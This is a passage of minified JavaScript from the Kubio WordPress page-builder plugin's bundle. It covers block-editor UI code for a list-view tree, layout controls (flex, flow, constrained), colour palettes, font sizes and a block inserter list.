0:b.length)>0?n(b).length+1:0;return{visibleBlockCount:t()-r,shouldShowInnerBlocks:"zoom-out"!==o()}}),[b]),{updateBlockSelection:g}=function(){const{clearSelectedBlock:e,multiSelect:t,selectBlock:n}=Object(j.useDispatch)(S.a),{getBlockName:o,getBlockParents:r,getBlockSelectionStart:l,getBlockSelectionEnd:c,getSelectedBlockClientIds:a,hasMultiSelection:s,hasSelectedBlock:u}=Object(j.useSelect)(S.a),{getBlockType:d}=Object(j.useSelect)(k.store);return{updateBlockSelection:Object(i.useCallback)((async(c,i,b)=>{if(null==c||!c.shiftKey)return void n(i);c.preventDefault();const p="keydown"===c.type&&(c.keyCode===ee.UP||c.keyCode===ee.DOWN||c.keyCode===ee.HOME||c.keyCode===ee.END);if(!p&&!u()&&!s())return void n(i,null);const m=a(),f=[...r(i),i];p&&!m.some((e=>f.includes(e)))&&await e();let g=l(),h=i;p&&(u()||s()||(g=i),b&&(h=b));const v=r(g),O=r(h),{start:k,end:j}=function(e,t,n,o){const r=[...n,e],l=[...o,t],c=Math.min(r.length,l.length)-1;return{start:r[c],end:l[c]}}(g,h,v,O);await t(k,j,null);const _=a();if((c.keyCode===ee.HOME||c.keyCode===ee.END)&&_.length>1)return;const y=m.filter((e=>!_.includes(e)));let E;if(1===y.length){var S;const e=null===(S=d(o(y[0])))||void 0===S?void 0:S.title;e&&(E=Object(D.sprintf)(/* translators: %s: block name */Object(D.__)("%s deselected.","kubio"),e))}else y.length>1&&(E=Object(D.sprintf)(/* translators: %s: number of deselected blocks */Object(D.__)("%s blocks deselected.","kubio"),y.length));E&&Object(z.speak)(E)}),[e,o,d,r,l,c,a,s,u,t,n])}}(),[h,v]=Object(i.useReducer)(Te,{}),{ref:O,target:_}=function(){const{getBlockRootClientId:e,getBlockIndex:t,getBlockCount:n,getDraggedBlockClientIds:o,canInsertBlocks:r}=Object(j.useSelect)(S.a),[l,c]=Object(i.useState)(),{rootClientId:a,blockIndex:s}=l||{},u=Object(Ie.a)(a,s),d=o(),b=Object(R.useThrottle)(Object(i.useCallback)(((o,l)=>{const i={x:o.clientX,y:o.clientY},a=!(null==d||!d.length),s=function(e,t){let n,o,r,l;for(const c of e){if(c.isDraggedBlock)continue;const i=c.element.getBoundingClientRect(),[a,s]=Object(Be.a)(t,i,xe),u=Object(Be.b)(t,i);if(void 0===r||a<r||u){r=a;const t=e.indexOf(c),d=e[t-1];if("top"===s&&d&&d.rootClientId===c.rootClientId&&!d.isDraggedBlock?(o=d,n="bottom",l=d.element.getBoundingClientRect()):(o=c,n=s,l=i),u)break}}if(!o)return;const c="bottom"===n;if(c&&o.canInsertDraggedBlocksAsChild&&(o.innerBlockCount>0||function(e,t){const n=t.left+t.width/2;return e.x>n}(t,l)))return{rootClientId:o.clientId,blockIndex:0,dropPosition:"inside"};if(!o.canInsertDraggedBlocksAsSibling)return;const i=c?1:0;return{rootClientId:o.rootClientId,clientId:o.clientId,blockIndex:o.blockIndex+i,dropPosition:n}}(Array.from(l.querySelectorAll("[data-block]")).map((o=>{const l=o.dataset.block,c=e(l);return{clientId:l,rootClientId:c,blockIndex:t(l),element:o,isDraggedBlock:!!a&&d.includes(l),innerBlockCount:n(l),canInsertDraggedBlocksAsSibling:!a||r(d,c),canInsertDraggedBlocksAsChild:!a||r(d,l)}})),i);s&&c(s)}),[d]),200);return{ref:Object(R.__experimentalUseDropZone)({onDrop:u,onDragOver(e){b(e,e.currentTarget)},onDragEnd(){b.cancel(),c(null)}}),target:l}}(),y=Object(i.useRef)(),E=Object(R.useMergeRefs)([y,O,t]),C=Object(i.useRef)(!1),{setSelectedTreeId:w}=function(e){let{firstSelectedBlockClientId:t,setExpandedState:n}=e;const[o,r]=Object(i.useState)(null),{selectedBlockParentClientIds:l}=Object(j.useSelect)((e=>{const{getBlockParents:n}=e(S.a);return{selectedBlockParentClientIds:n(t,!1)}}),[t]),c=Array.isArray(l)&&l.length?l:null;return Object(i.useEffect)((()=>{o!==t&&c&&n({type:"expand",clientIds:l})}),[t]),{setSelectedTreeId:r}}({firstSelectedBlockClientId:p[0],setExpandedState:v}),B=Object(i.useCallback)(((e,t)=>{g(e,t),w(t),s&&s(u(t))}),[w,g,s,u]);Object(i.useEffect)((()=>{C.current=!0}),[]);const[I]=Object(R.__experimentalUseFixedWindowList)(y,36,m,{useWindowing:!0,windowOverscan:40}),x=Object(i.useCallback)((e=>{e&&v({type:"expand",clientIds:[e]})}),[v]),T=Object(i.useCallback)((e=>{e&&v({type:"collapse",clientIds:[e]})}),[v]),N=Object(i.useCallback)((e=>{var t;x(null==e||null===(t=e.dataset)||void 0===t?void 0:t.block)}),[x]),M=Object(i.useCallback)((e=>{var t;T(null==e||null===(t=e.dataset)||void 0===t?void 0:t.block)}),[T]),P=Object(i.useCallback)(((e,t,n)=>{var o,r;e.shiftKey&&g(e,null==t||null===(o=t.dataset)||void 0===o?void 0:o.block,null==n||null===(r=n.dataset)||void 0===r?void 0:r.block)}),[g]),L=Object(i.useMemo)((()=>({isTreeGridMounted:C.current,draggedClientIds:b,expandedState:h,expand:x,collapse:T,LeafMoreMenu:c})),[C.current,b,h,x,T,c]);return Object(i.createElement)(j.AsyncModeProvider,{value:!0},Object(i.createElement)(we,{listViewRef:y,blockDropTarget:_}),Object(i.createElement)("div",{className:"offcanvas-editor-list-view-tree-wrapper"},Object(i.createElement)(A.__experimentalTreeGrid,{id:n,className:"block-editor-list-view-tree","aria-label":Object(D.__)("Block navigation structure","kubio"),ref:E,onCollapseRow:M,onExpandRow:N,onFocusRow:P,"aria-description":a},Object(i.createElement)(ke.Provider,{value:L},Object(i.createElement)(Ce,{blocks:d,selectBlock:B,showBlockMovers:r,fixedListWindow:I,selectedClientIds:p,isExpanded:l,shouldShowInnerBlocks:f}),Object(i.createElement)(A.__experimentalTreeGridRow,{level:1,setSize:1,positionInSet:1,isExpanded:!0},!d.length&&Object(i.createElement)(A.__experimentalTreeGridCell,{withoutGridItem:!0},Object(i.createElement)("div",{className:"offcanvas-editor-list-view-is-empty"},Object(D.__)("Your menu is currently empty. Add your first menu item to get started.","kubio"))))))))})),Le=n(146);const{__dangerousOptInToUnstableAPIsOnlyForCoreModules:Re=null}=(null===(Ne=top.wp)||void 0===Ne?void 0:Ne.experiments)||(null===(Me=top.wp)||void 0===Me?void 0:Me.privateApis)||{},{lock:Ae,unlock:De}=Re?Re("I know using unstable features means my plugin or theme will inevitably break on the next WordPress release.","@wordpress/block-editor"):{lock:r.identity,unlock:r.identity},Fe={};Ae(Fe,{...o,ExperimentalBlockEditorProvider:Le.a,OffCanvasEditor:Pe});const ze=Fe},,,function(e,t){!function(){e.exports=this.wp.htmlEntities}()},function(e,t,n){"use strict";n.d(t,"a",(function(){return R})),n.d(t,"b",(function(){return A}));var o=n(0),r=n(1),l=n(670),c=n(671),i=n(672),a=n(673),s=n(674),u=n(5),d=Object(o.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(u.Path,{d:"m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z"})),b=Object(o.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(u.Path,{d:"m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z"})),p=n(3);function m(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return e.split(",").map((e=>`.editor-styles-wrapper ${e}${t?` ${t}`:""}`)).join(",")}function f(e,t,n,o){var r,l;let c="";return null!=t&&null!==(r=t[n])&&void 0!==r&&null!==(l=r.spacingStyles)&&void 0!==l&&l.length&&o&&t[n].spacingStyles.forEach((t=>{c+=`${m(e,t.selector.trim())} { `,c+=Object.entries(t.rules).map((e=>{let[t,n]=e;return`${t}: ${n||o}`})).join("; "),c+="; }"})),c}function g(e){const{contentSize:t,wideSize:n}=e,o={},l=/^(?!0)\d+(px|em|rem|vw|vh|%)?$/i;return l.test(t)&&(// translators: %s: container size (i.e. 600px etc)
o.none=Object(r.sprintf)(Object(r.__)("Max %s wide","kubio"),t)),l.test(n)&&(// translators: %s: container size (i.e. 600px etc)
o.wide=Object(r.sprintf)(Object(r.__)("Max %s wide","kubio"),n)),o}var h=n(67),v=n(60),O=n(41);const k={left:"flex-start",right:"flex-end",center:"center","space-between":"space-between"},j={left:"flex-start",right:"flex-end",center:"center",stretch:"stretch"},_={top:"flex-start",center:"center",bottom:"flex-end",stretch:"stretch","space-between":"space-between"},y=["wrap","nowrap"];var E={name:"flex",label:Object(r.__)("Flex","kubio"),inspectorControls:function(e){let{layout:t={},onChange:n,layoutBlockSupport:r={}}=e;const{allowOrientation:l=!0}=r;return Object(o.createElement)(o.Fragment,null,Object(o.createElement)(p.Flex,null,Object(o.createElement)(p.FlexItem,null,Object(o.createElement)(C,{layout:t,onChange:n})),Object(o.createElement)(p.FlexItem,null,l&&Object(o.createElement)(B,{layout:t,onChange:n}))),Object(o.createElement)(w,{layout:t,onChange:n}))},toolBarControls:function(e){let{layout:t={},onChange:n,layoutBlockSupport:r}=e;if(null!=r&&r.allowSwitching)return null;const{allowVerticalAlignment:l=!0}=r;return Object(o.createElement)(v.i,{group:"block",__experimentalShareWithChildBlocks:!0},Object(o.createElement)(C,{layout:t,onChange:n,isToolbar:!0}),l&&Object(o.createElement)(S,{layout:t,onChange:n,isToolbar:!0}))},getLayoutStyle:function(e){var t,n;let{selector:o,layout:r,style:l,blockName:c,hasBlockGapSupport:i,layoutDefinitions:a}=e;const{orientation:s="horizontal"}=r,u=null!=l&&null!==(t=l.spacing)&&void 0!==t&&t.blockGap&&!Object(O.c)(c,"spacing","blockGap")?Object(h.b)(null==l||null===(n=l.spacing)||void 0===n?void 0:n.blockGap,"0.5em"):void 0,d=k[r.justifyContent],b=y.includes(r.flexWrap)?r.flexWrap:"wrap",p=_[r.verticalAlignment],g=j[r.justifyContent]||j.left;let v="";const E=[];return b&&"wrap"!==b&&E.push(`flex-wrap: ${b}`),"horizontal"===s?(p&&E.push(`align-items: ${p}`),d&&E.push(`justify-content: ${d}`)):(p&&E.push(`justify-content: ${p}`),E.push("flex-direction: column"),E.push(`align-items: ${g}`)),E.length&&(v=`${m(o)} {\n\t\t\t\t${E.join("; ")};\n\t\t\t}`),i&&u&&(v+=f(o,a,"flex",u)),v},getOrientation(e){const{orientation:t="horizontal"}=e;return t},getAlignments:()=>[]};function S(e){let{layout:t,onChange:n,isToolbar:l=!1}=e;const{orientation:c="horizontal"}=t,i="horizontal"===c?_.center:_.top,{verticalAlignment:a=i}=t,s=e=>{n({...t,verticalAlignment:e})};if(l)return Object(o.createElement)(v.A,{onChange:s,value:a,controls:"horizontal"===c?["top","center","bottom","stretch"]:["top","center","bottom","space-between"]});const u=[{value:"flex-start",label:Object(r.__)("Align items top","kubio")},{value:"center",label:Object(r.__)("Align items center","kubio")},{value:"flex-end",label:Object(r.__)("Align items bottom","kubio")}];return Object(o.createElement)("fieldset",{className:"block-editor-hooks__flex-layout-vertical-alignment-control"},Object(o.createElement)("legend",null,Object(r.__)("Vertical alignment","kubio")),Object(o.createElement)("div",null,u.map(((e,t,n)=>Object(o.createElement)(p.Button,{key:e,label:n,icon:t,isPressed:a===e,onClick:()=>s(e)})))))}function C(e){let{layout:t,onChange:n,isToolbar:u=!1}=e;const{justifyContent:d="left",orientation:b="horizontal"}=t,m=e=>{n({...t,justifyContent:e})},f=["left","center","right"];if("horizontal"===b?f.push("space-between"):f.push("stretch"),u)return Object(o.createElement)(v.P,{allowedControls:f,value:d,onChange:m,popoverProps:{position:"bottom right",variant:"toolbar"}});const g=[{value:"left",icon:l.a,label:Object(r.__)("Justify items left","kubio")},{value:"center",icon:c.a,label:Object(r.__)("Justify items center","kubio")},{value:"right",icon:i.a,label:Object(r.__)("Justify items right","kubio")}];return"horizontal"===b?g.push({value:"space-between",icon:a.a,label:Object(r.__)("Space between items","kubio")}):g.push({value:"stretch",icon:s.a,label:Object(r.__)("Stretch items","kubio")}),Object(o.createElement)(p.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,label:Object(r.__)("Justification","kubio"),value:d,onChange:m,className:"block-editor-hooks__flex-layout-justification-controls"},g.map((e=>{let{value:t,icon:n,label:r}=e;return Object(o.createElement)(p.__experimentalToggleGroupControlOptionIcon,{key:t,value:t,icon:n,label:r})})))}function w(e){let{layout:t,onChange:n}=e;const{flexWrap:l="wrap"}=t;return Object(o.createElement)(p.ToggleControl,{label:Object(r.__)("Allow to wrap to multiple lines","kubio"),onChange:e=>{n({...t,flexWrap:e?"wrap":"nowrap"})},checked:"wrap"===l})}function B(e){let{layout:t,onChange:n}=e;const{orientation:l="horizontal",verticalAlignment:c,justifyContent:i}=t;return Object(o.createElement)(p.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,className:"block-editor-hooks__flex-layout-orientation-controls",label:Object(r.__)("Orientation","kubio"),value:l,onChange:e=>{let o=c,r=i;return"horizontal"===e?("space-between"===c&&(o="center"),"stretch"===i&&(r="left")):("stretch"===c&&(o="top"),"space-between"===i&&(r="left")),n({...t,orientation:e,verticalAlignment:o,justifyContent:r})}},Object(o.createElement)(p.__experimentalToggleGroupControlOptionIcon,{icon:d,value:"horizontal",label:Object(r.__)("Horizontal","kubio")}),Object(o.createElement)(p.__experimentalToggleGroupControlOptionIcon,{icon:b,value:"vertical",label:Object(r.__)("Vertical","kubio")}))}var I={name:"default",label:Object(r.__)("Flow","kubio"),inspectorControls:function(){return null},toolBarControls:function(){return null},getLayoutStyle:function(e){var t;let{selector:n,style:o,blockName:r,hasBlockGapSupport:l,layoutDefinitions:c}=e;const i=Object(h.b)(null==o||null===(t=o.spacing)||void 0===t?void 0:t.blockGap);let a="";Object(O.c)(r,"spacing","blockGap")||(null!=i&&i.top?a=Object(h.b)(null==i?void 0:i.top):"string"==typeof i&&(a=Object(h.b)(i)));let s="";return l&&a&&(s+=f(n,c,"default",a)),s},getOrientation:()=>"vertical",getAlignments(e){const t=g(e);if(void 0!==e.alignments)return e.alignments.includes("none")||e.alignments.unshift("none"),e.alignments.map((e=>({name:e,info:t[e]})));const n=[{name:"left"},{name:"center"},{name:"right"}];return n.unshift({name:"none",info:t.none}),n}},x=n(120),T=n(675),N=n(420),M=n(151),P=n(30);const L=[I,E,{name:"constrained",label:Object(r.__)("Constrained","kubio"),inspectorControls:function(e){let{layout:t,onChange:n}=e;const{wideSize:a,contentSize:s,justifyContent:u="center"}=t,d=[{value:"left",icon:l.a,label:Object(r.__)("Justify items left","kubio")},{value:"center",icon:c.a,label:Object(r.__)("Justify items center","kubio")},{value:"right",icon:i.a,label:Object(r.__)("Justify items right","kubio")}],b=Object(p.__experimentalUseCustomUnits)({availableUnits:Object(P.a)("spacing.units")||["%","px","em","rem","vw"]});return Object(o.createElement)(o.Fragment,null,Object(o.createElement)("div",{className:"block-editor-hooks__layout-controls"},Object(o.createElement)("div",{className:"block-editor-hooks__layout-controls-unit"},Object(o.createElement)(p.__experimentalUnitControl,{className:"block-editor-hooks__layout-controls-unit-input",label:Object(r.__)("Content","kubio"),labelPosition:"top",__unstableInputWidth:"80px",value:s||a||"",onChange:e=>{e=0>parseFloat(e)?"0":e,n({...t,contentSize:e})},units:b}),Object(o.createElement)(x.a,{icon:T.a})),Object(o.createElement)("div",{className:"block-editor-hooks__layout-controls-unit"},Object(o.createElement)(p.__experimentalUnitControl,{className:"block-editor-hooks__layout-controls-unit-input",label:Object(r.__)("Wide","kubio"),labelPosition:"top",__unstableInputWidth:"80px",value:a||s||"",onChange:e=>{e=0>parseFloat(e)?"0":e,n({...t,wideSize:e})},units:b}),Object(o.createElement)(x.a,{icon:N.a}))),Object(o.createElement)("p",{className:"block-editor-hooks__layout-controls-helptext"},Object(r.__)("Customize the width for all elements that are assigned to the center or wide columns.","kubio")),Object(o.createElement)(p.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,label:Object(r.__)("Justification","kubio"),value:u,onChange:e=>{n({...t,justifyContent:e})}},d.map((e=>{let{value:t,icon:n,label:r}=e;return Object(o.createElement)(p.__experimentalToggleGroupControlOptionIcon,{key:t,value:t,icon:n,label:r})}))))},toolBarControls:function(){return null},getLayoutStyle:function(e){var t,n;let{selector:o,layout:r={},style:l,blockName:c,hasBlockGapSupport:i,layoutDefinitions:a}=e;const{contentSize:s,wideSize:u,justifyContent:d}=r,b=Object(h.b)(null==l||null===(t=l.spacing)||void 0===t?void 0:t.blockGap);let p="";Object(O.c)(c,"spacing","blockGap")||(null!=b&&b.top?p=Object(h.b)(null==b?void 0:b.top):"string"==typeof b&&(p=Object(h.b)(b)));const g="left"===d?"0 !important":"auto !important",v="right"===d?"0 !important":"auto !important";let k=s||u?`\n\t\t\t\t\t${m(o,"> :where(:not(.alignleft):not(.alignright):not(.alignfull))")} {\n\t\t\t\t\t\tmax-width: ${null!=s?s:u};\n\t\t\t\t\t\tmargin-left: ${g};\n\t\t\t\t\t\tmargin-right: ${v};\n\t\t\t\t\t}\n\t\t\t\t\t${m(o,"> .alignwide")} {\n\t\t\t\t\t\tmax-width: ${null!=u?u:s};\n\t\t\t\t\t}\n\t\t\t\t\t${m(o,"> .alignfull")} {\n\t\t\t\t\t\tmax-width: none;\n\t\t\t\t\t}\n\t\t\t\t`:"";return"left"===d?k+=`${m(o,"> :where(:not(.alignleft):not(.alignright):not(.alignfull))")}\n\t\t\t{ margin-left: ${g}; }`:"right"===d&&(k+=`${m(o,"> :where(:not(.alignleft):not(.alignright):not(.alignfull))")}\n\t\t\t{ margin-right: ${v}; }`),null!=l&&null!==(n=l.spacing)&&void 0!==n&&n.padding&&Object(M.b)(l).forEach((e=>{"paddingRight"===e.key?k+=`\n\t\t\t\t\t${m(o,"> .alignfull")} {\n\t\t\t\t\t\tmargin-right: calc(${e.value} * -1);\n\t\t\t\t\t}\n\t\t\t\t\t`:"paddingLeft"===e.key&&(k+=`\n\t\t\t\t\t${m(o,"> .alignfull")} {\n\t\t\t\t\t\tmargin-left: calc(${e.value} * -1);\n\t\t\t\t\t}\n\t\t\t\t\t`)})),i&&p&&(k+=f(o,a,"constrained",p)),k},getOrientation:()=>"vertical",getAlignments(e){const t=g(e);if(void 0!==e.alignments)return e.alignments.includes("none")||e.alignments.unshift("none"),e.alignments.map((e=>({name:e,info:t[e]})));const{contentSize:n,wideSize:o}=e,r=[{name:"left"},{name:"center"},{name:"right"}];return n&&r.unshift({name:"full"}),o&&r.unshift({name:"wide",info:t.wide}),r.unshift({name:"none",info:t.none}),r}}];function R(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"default";return L.find((t=>t.name===e))}function A(){return L}},,,,,function(e,t,n){"use strict";n.d(t,"b",(function(){return l.c})),n.d(t,"a",(function(){return p}));var o=n(0),r=n(12),l=n(68),c=n(8),i=n(13),a=n.n(i),s=n(3),u=n(159);const d={};var b=Object(s.withFilters)("editor.BlockEdit")((e=>{const{attributes:t={},name:n}=e,l=Object(r.getBlockType)(n),i=Object(o.useContext)(u.b),s=Object(o.useMemo)((()=>l&&l.usesContext?Object.fromEntries(Object.entries(i).filter((e=>{let[t]=e;return l.usesContext.includes(t)}))):d),[l,i]);if(!l)return null;const b=l.edit||l.save;if(l.apiVersion>1)return Object(o.createElement)(b,Object(c.a)({},e,{context:s}));const p=Object(r.hasBlockSupport)(l,"className",!0)?Object(r.getBlockDefaultClassName)(n):null,m=a()(p,t.className,e.className);return Object(o.createElement)(b,Object(c.a)({},e,{context:s,className:m}))}));function p(e){const{name:t,isSelected:n,clientId:c,attributes:i={},__unstableLayoutClassNames:a}=e,{layout:s=null}=i,u={name:t,isSelected:n,clientId:c,layout:Object(r.hasBlockSupport)(t,"__experimentalLayout",!1)?s:null,__unstableLayoutClassNames:a};return Object(o.createElement)(l.a,{value:Object(o.useMemo)((()=>u),Object.values(u))},Object(o.createElement)(b,e))}},function(e,t,n){"use strict";n.d(t,"c",(function(){return c})),n.d(t,"a",(function(){return a})),n.d(t,"d",(function(){return s})),n.d(t,"b",(function(){return u}));var o=n(0),r=n(101),l=n(30);const c={type:"default"},i=Object(o.createContext)(c),a=i.Provider;function s(){return Object(o.useContext)(i)}function u(e){let{layout:t={},css:n,...c}=e;const i=Object(r.a)(t.type),a=null!==Object(l.a)("spacing.blockGap");if(i){var s;if(n)return Object(o.createElement)("style",null,n);const e=null===(s=i.getLayoutStyle)||void 0===s?void 0:s.call(i,{hasBlockGapSupport:a,layout:t,...c});if(e)return Object(o.createElement)("style",null,e)}return null}},function(e,t,n){"use strict";n.d(t,"a",(function(){return c}));var o=n(0),r=n(1),l=n(30);function c(){const e={disableCustomColors:!Object(l.a)("color.custom"),disableCustomGradients:!Object(l.a)("color.customGradient")},t=Object(l.a)("color.palette.custom"),n=Object(l.a)("color.palette.theme"),c=Object(l.a)("color.palette.default"),i=Object(l.a)("color.defaultPalette");e.colors=Object(o.useMemo)((()=>{const e=[];return n&&n.length&&e.push({name:Object(r._x)("Theme","Indicates this palette comes from the theme.","kubio"),colors:n}),i&&c&&c.length&&e.push({name:Object(r._x)("Default","Indicates this palette comes from WordPress.","kubio"),colors:c}),t&&t.length&&e.push({name:Object(r._x)("Custom","Indicates this palette comes from the theme.","kubio"),colors:t}),e}),[c,n,t]);const a=Object(l.a)("color.gradients.custom"),s=Object(l.a)("color.gradients.theme"),u=Object(l.a)("color.gradients.default"),d=Object(l.a)("color.defaultGradients");return e.gradients=Object(o.useMemo)((()=>{const e=[];return s&&s.length&&e.push({name:Object(r._x)("Theme","Indicates this palette comes from the theme.","kubio"),gradients:s}),d&&u&&u.length&&e.push({name:Object(r._x)("Default","Indicates this palette comes from WordPress.","kubio"),gradients:u}),a&&a.length&&e.push({name:Object(r._x)("Custom","Indicates this palette is created by the user.","kubio"),gradients:a}),e}),[a,s,u]),e}},,function(e,t,n){"use strict";n.d(t,"b",(function(){return c})),n.d(t,"c",(function(){return i})),n.d(t,"a",(function(){return a}));const o=".block-editor-block-list__block",r=".block-list-appender",l=".block-editor-button-block-appender";function c(e,t){return e.closest(o)===t.closest(o)}function i(e,t){return t.closest([o,r,l].join(","))===e}function a(e){for(;e&&e.nodeType!==e.ELEMENT_NODE;)e=e.parentNode;if(!e)return;const t=e.closest(o);return t?t.id.slice("block-".length):void 0}},function(e,t,n){"use strict";n.d(t,"c",(function(){return r})),n.d(t,"d",(function(){return c})),n.d(t,"e",(function(){return l})),n.d(t,"b",(function(){return i.a})),n.d(t,"a",(function(){return b})),n.d(t,"f",(function(){return g}));var o=n(2);const r=(e,t,n)=>{if(t){const n=null==e?void 0:e.find((e=>{let{slug:n}=e;return n===t}));if(n)return n}return{size:n}};function l(e,t){return(null==e?void 0:e.find((e=>{let{size:n}=e;return n===t})))||{size:t}}function c(e){if(e)return`has-${Object(o.kebabCase)(e)}-font-size`}var i=n(160),a=n(8),s=n(0),u=n(3),d=n(30),b=function(e){const t=Object(d.a)("typography.fontSizes"),n=!Object(d.a)("typography.customFontSize");return Object(s.createElement)(u.FontSizePicker,Object(a.a)({},e,{fontSizes:t,disableCustomFontSizes:n}))},p=n(11);const m=[],f=e=>{let[t,...n]=e;return t.toUpperCase()+n.join("")};var g=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];const o=t.reduce(((e,t)=>(e[t]=`custom${f(t)}`,e)),{});return Object(p.createHigherOrderComponent)(Object(p.compose)([Object(p.createHigherOrderComponent)((e=>t=>{const n=Object(d.a)("typography.fontSizes")||m;return Object(s.createElement)(e,Object(a.a)({},t,{fontSizes:n}))}),"withFontSizes"),e=>class extends s.Component{constructor(e){super(e),this.setters=this.createSetters(),this.state={}}createSetters(){return Object.entries(o).reduce(((e,t)=>{let[n,o]=t;return e[`set${f(n)}`]=this.createSetFontSize(n,o),e}),{})}createSetFontSize(e,t){return n=>{var o;const r=null===(o=this.props.fontSizes)||void 0===o?void 0:o.find((e=>{let{size:t}=e;return t===Number(n)}));this.props.setAttributes({[e]:r&&r.slug?r.slug:void 0,[t]:r&&r.slug?void 0:n})}}static getDerivedStateFromProps(e,t){let{attributes:n,fontSizes:l}=e;const i=(e,o)=>!t[o]||(n[o]?n[o]!==t[o].slug:t[o].size!==n[e]);if(!Object.values(o).some(i))return null;const a=Object.entries(o).filter((e=>{let[t,n]=e;return i(n,t)})).reduce(((e,t)=>{let[o,i]=t;const a=n[o],s=r(l,a,n[i]);return e[o]={...s,class:c(a)},e}),{});return{...t,...a}}render(){return Object(s.createElement)(e,Object(a.a)({},this.props,{fontSizes:void 0},this.state,this.setters))}}]),"withFontSizes")}},function(e,t,n){"use strict";var o=n(0),r=n(12),l=n(8),c=n(29),i=n(7),a=n(23),s=n(27),u=n(13),d=n.n(u),b=n(55),p=n(248),m=n(152);function f(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:window;const{platform:t}=e.navigator;return-1!==t.indexOf("Mac")||["iPad","iPhone"].includes(t)}var g=Object(o.memo)((function(e){let{className:t,isFirst:n,item:u,onSelect:g,onHover:h,isDraggable:v,...O}=e;const k=Object(o.useRef)(!1),j=u.icon?{backgroundColor:u.icon.background,color:u.icon.foreground}:{},_=Object(i.useSelect)((e=>({getClientIdsWithDescendants:e("core/block-editor").getClientIdsWithDescendants,getBlock:e("core/block-editor").getBlock})));u=Object(a.applyFilters)("kubio.beforeInsertBlock",u,_);const y=Object(o.useMemo)((()=>[Object(r.createBlock)(u.name,u.initialAttributes,Object(r.createBlocksFromInnerBlocksTemplate)(u.innerBlocks))]),[u.name,u.initialAttributes,u.initialAttributes]),[E,S]=Object(c.useProModal)();return Object(o.createElement)(p.a,{isEnabled:v&&!u.isDisabled,blocks:y,icon:u.icon},(e=>{var r;let{draggable:i,onDragStart:a,onDragEnd:p}=e;return Object(o.createElement)("div",{className:d()("block-editor-block-types-list__list-item",{"block-editor-block-types-list__list-item--is-pro-on-free":null===(r=u)||void 0===r?void 0:r.isProOnFree}),draggable:i,onDragStart:e=>{k.current=!0,a&&(h(null),a(e))},onDragEnd:e=>{k.current=!1,p&&p(e)},onClick:()=>{!0===u[c.PRO_ON_FREE_FLAG]&&S(!0,"block-pro-modal-"+u.name)},role:"button",tabIndex:-1},Object(o.createElement)(m.b,Object(l.a)({isFirst:n,className:d()("block-editor-block-types-list__item",t,Object(c.proItemOnFreeClass)(u)),disabled:u.isDisabled,onClick:e=>{u.isDisabled||(e.preventDefault(),g(u,f()?e.metaKey:e.ctrlKey),h(null))},onKeyDown:e=>{const{keyCode:t}=e;t===s.ENTER&&(e.preventDefault(),g(u,f()?e.metaKey:e.ctrlKey),h(null))},onFocus:()=>{k.current||h(u)},onMouseEnter:()=>{k.current||h(u)},onMouseLeave:()=>h(null),onBlur:()=>h(null)},O),Object(o.createElement)("span",{className:"block-editor-block-types-list__item-icon",style:j},Object(o.createElement)(b.a,{icon:u.icon,showColors:!0})),Object(o.createElement)("span",{className:"block-editor-block-types-list__item-title"},u.title),Object(o.createElement)(c.ProBadge,{item:u}),Object(o.createElement)(E,{id:"block-pro-modal-"+u.name,urlArgs:{source:"block-inserter",content:u.name.split("/").pop()}})))}))}));t.a=function(e){let{items:t=[],onSelect:n,onHover:l=(()=>{}),children:c,label:i,isDraggable:a=!0}=e;return Object(o.createElement)(m.a,{className:"block-editor-block-types-list","aria-label":i},function(e,t){const n=[];for(let t=0,o=e.length;t<o;t+=3)n.push(e.slice(t,t+3));return n}(t).map(((e,t)=>Object(o.createElement)(m.c,{key:t},e.map(((e,c)=>Object(o.createElement)(g,{key:e.id,item:e,className:Object(r.getBlockMenuDefaultClassName)(e.id),onSelect:n,onHover:l,isDraggable:a&&!e.isDisabled,isFirst:0===t&&0===c})))))),c)}},function(e,t,n){"use strict";n.d(t,"a",(function(){return o})),n.d(t,"b",(function(){return r}));const o="";function r(e){if(e)return Object.keys(e).find((t=>{const n=e[t];return"string"==typeof n&&-1!==n.indexOf(o)}))}},,function(e,t,n){"use strict";var o=n(12),r=n(7),l=n(0),c=n(14);t.a=(e,t)=>{const{categories:n,collections:i,items:a}=Object(r.useSelect)((t=>{const{getInserterItems:n}=t(c.a),{getCategories:r,getCollections:l}=t(o.store);return{categories:r().sort(((e,t)=>{let{isKubio:n}=e,{isKubio:o}=t;return n&&!o?-1:!n&&o?1:0}),[]),collections:l(),items:n(e)}}),[e]);return[a,n,i,Object(l.useCallback)(((e,n)=>{let{name:r,initialAttributes:l,innerBlocks:c}=e;const i=Object(o.createBlock)(r,l,Object(o.createBlocksFromInnerBlocksTemplate)(c));t(i,void 0,n)}),[t])]}},function(e,t,n){"use strict";n.d(t,"d",(function(){return r})),n.d(t,"a",(function(){return l.a})),n.d(t,"e",(function(){return l.d})),n.d(t,"b",(function(){return l.b})),n.d(t,"c",(function(){return l.c}));var o=n(92);function r(){const e={r:[],g:[],b:[],a:[]};return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:[]).forEach((t=>{const n=Object(o.a)(t).toRgb();e.r.push(n.r/255),e.g.push(n.g/255),e.b.push(n.b/255),e.a.push(n.a)})),e}var l=n(139)},,,function(e,t){!function(){e.exports=this.wp.isShallowEqual}()},function(e,t,n){"use strict";var o=n(0);t.a=function(e){let{icon:t,size:n=24,...r}=e;return Object(o.cloneElement)(t,{width:n,height:n,...r})}},,,function(e,t,n){"use strict";var o=n(0),r=n(1),l=n(120),c=n(320);t.a=function(){return Object(o.createElement)("div",{className:"block-editor-inserter__no-results"},Object(o.createElement)(l.a,{className:"block-editor-inserter__no-results-icon",icon:c.a}),Object(o.createElement)("p",null,Object(r.__)("No results found.","kubio")))}},function(e,t,n){"use 